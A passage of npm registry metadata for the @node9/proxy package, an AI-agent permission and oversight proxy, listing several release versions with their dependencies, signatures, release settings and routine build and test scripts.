record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.23.1_1790277739877_0.8386788146177206","host":"s3://npm-registry-packages-npm-production"}},"2.23.2":{"name":"@node9/proxy","version":"2.23.2","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.23.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"60157274aa2576f64f6c6fd2683842ab4861b304","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.23.2.tgz","fileCount":17,"integrity":"sha512-RQyjpsB8ViFIRCAnqJJmW9ul66AY/FiY7Tnb5o6gXmfdgFyPotlI9BH3so86iyJtAnGcffGRD9ljZhXQJKDR5w==","signatures":[{"sig":"MEQCIHjamG39BkxtyBhW+Hxz+qGlMBOw9q6bg+OoLwyAmEatAiB9Im5vJEiaUC4ke5ihMZq71KJ+4wslFsGjOIFTssHR5Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCCGdorzTGY1Dc4zQeGJePUxRZEg28COat9sT4TZI5cjgIgYzetauPjdQvAOT/sDBZN/RDy/eylmRxV7svDtZ4u/0I=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.23.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7732674},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"141dfc23251591cb08615e89302aae958a1941a6","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.23.2_1790296340301_0.36246527736061895","host":"s3://npm-registry-packages-npm-production"}},"2.23.3":{"name":"@node9/proxy","version":"2.23.3","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.23.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b4bdc3540032e356a3eb614a9edf72413b31b194","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.23.3.tgz","fileCount":17,"integrity":"sha512-pKfZVbLh+twMvdGFY8Eah7I1bjczE7NUTgXAEL1JeMPNBpUuax0jWd7R0lcz9SzcMFcf5QNJzU6u8OWxuXeC8g==","signatures":[{"sig":"MEUCIQDvbFh2e5I5m4kpVwYhq/PuxCLf0AjAUj45hq7Zcn+zGQIgb7+AIJZXBgrZrLd4Cpsy4npsZlh7ykrGI00GtgFSfKM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIEvqpxDOikCD5TQI60dzmmI933K2Gy8DRzkt3p8OX9AFAiEA8HTKJNVvbvuR0Y7tlrfOwrrUllF0S+PRKVhUs32ha2c=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.23.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7734962},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f9a60f6be2a4855efa9d7f90c6147972e9a39bac","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.23.3_1790352383065_0.3594592033617592","host":"s3://npm-registry-packages-npm-production"}},"2.24.0":{"name":"@node9/proxy","version":"2.24.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.24.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2b0de77e6f9381e346a552167a19fa05396fe70e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.24.0.tgz","fileCount":17,"integrity":"sha512-Zna3OkyWs7qkcGmDwcdp5z+Ahz0yXx1kn4l9mH5sgCnLHRADVCiux3u03KkQyCm9wPfOmpgRFq8qwvdyM5AlqQ==","signatures":[{"sig":"MEQCIAyieROWA0mO8Ds5LcKtKpr9ErXNvIQ9MBpZXgtArCmxAiAajSwRxEcYk12cxCh/25vKDvNxIatRemXwLD61kflfDg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDBOBCu+uDwTMGf2pcyERlU2fEOPl86XbjBhl8gpXlgjAIgbPFf0bgkKePViJ3jOJVgiTBExZF7mJ5U1LBUXw/Y+B0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.24.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7739666},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bc78be4f50e9e6aaa652d0d5ac409c195a3acc0a","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.24.0_1790373344435_0.6375533308823467","host":"s3://npm-registry-packages-npm-production"}},"2.24.1":{"name":"@node9/proxy","version":"2.24.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.24.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7fd18804298aeb8c7a113569f44415aa643df12a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.24.1.tgz","fileCount":17,"integrity":"sha512-7eEAw+QKVszEJGm4bHHkQYF/wXslgf2/YPCiqz/CAH18XsqLpTiaGBYuxEKb2UnNIm0lG+sQzHrUP+GAzySrhA==","signatures":[{"sig":"MEQCIGQgYX5+S0dfHhZu+CETDDAzZT3laCoCxpqQjPHanQWDAiBWshZfOJIOQrnYvfbpCdcPPNYcAzGa4Rx0gDGiXUhTNQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFlyrWMqq4ejoBDW4ANlwQgzubRvfqB6jf51hDSOXZZNAiEAw5V1WD+G3AE5LLTyPzxzOE/d0/jrxZWoGzM4eTtG/ac=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.24.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7744572},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1fa84c95cd9f0c042a4da2174a1b7c9a3b813bff","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.24.1_1790381642012_0.3406786693526518","host":"s3://npm-registry-packages-npm-production"}},"2.24.2":{"name":"@node9/proxy","version":"2.24.2","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.24.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bcb6b97537ed1518085e78b0523bdd3ceb329765","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.24.2.tgz","fileCount":17,"integrity":"sha512-ItR9k4BKyLHzbRzutpDTRnvSg9Q2sIOpeNi2b7cxE4sv1yEHssLJ4bJH0oF6w2oWS0sWpke8HKggoCiZhK69GQ==","signatures":[{"sig":"MEUCIE4uMT3hodEQbVYNsIwXCVbPQUy5oExcQr/5vw0FcAggAiEA1CHEazPUyo0vPT8pb54dI31Q2RwvPs77Ms8LHyZcN9M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDMioPahH71LmKz/kNqCHarDbvpqFEjxEcyMZDw7FsBngIhAP8v6ph5OcEgKs9jt7qYKV/wjG9CKfRVncEMrDk68Z0x","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.24.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7743484},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"39c883227188c0461e00d25306f16accf599a9ce","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.24.2_1790418875416_0.37890300701376556","host":"s3://npm-registry-packages-npm-production"}},"2.25.0":{"name":"@node9/proxy","version":"2.25.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.25.0","maintainers":[{"name":"node9.ai","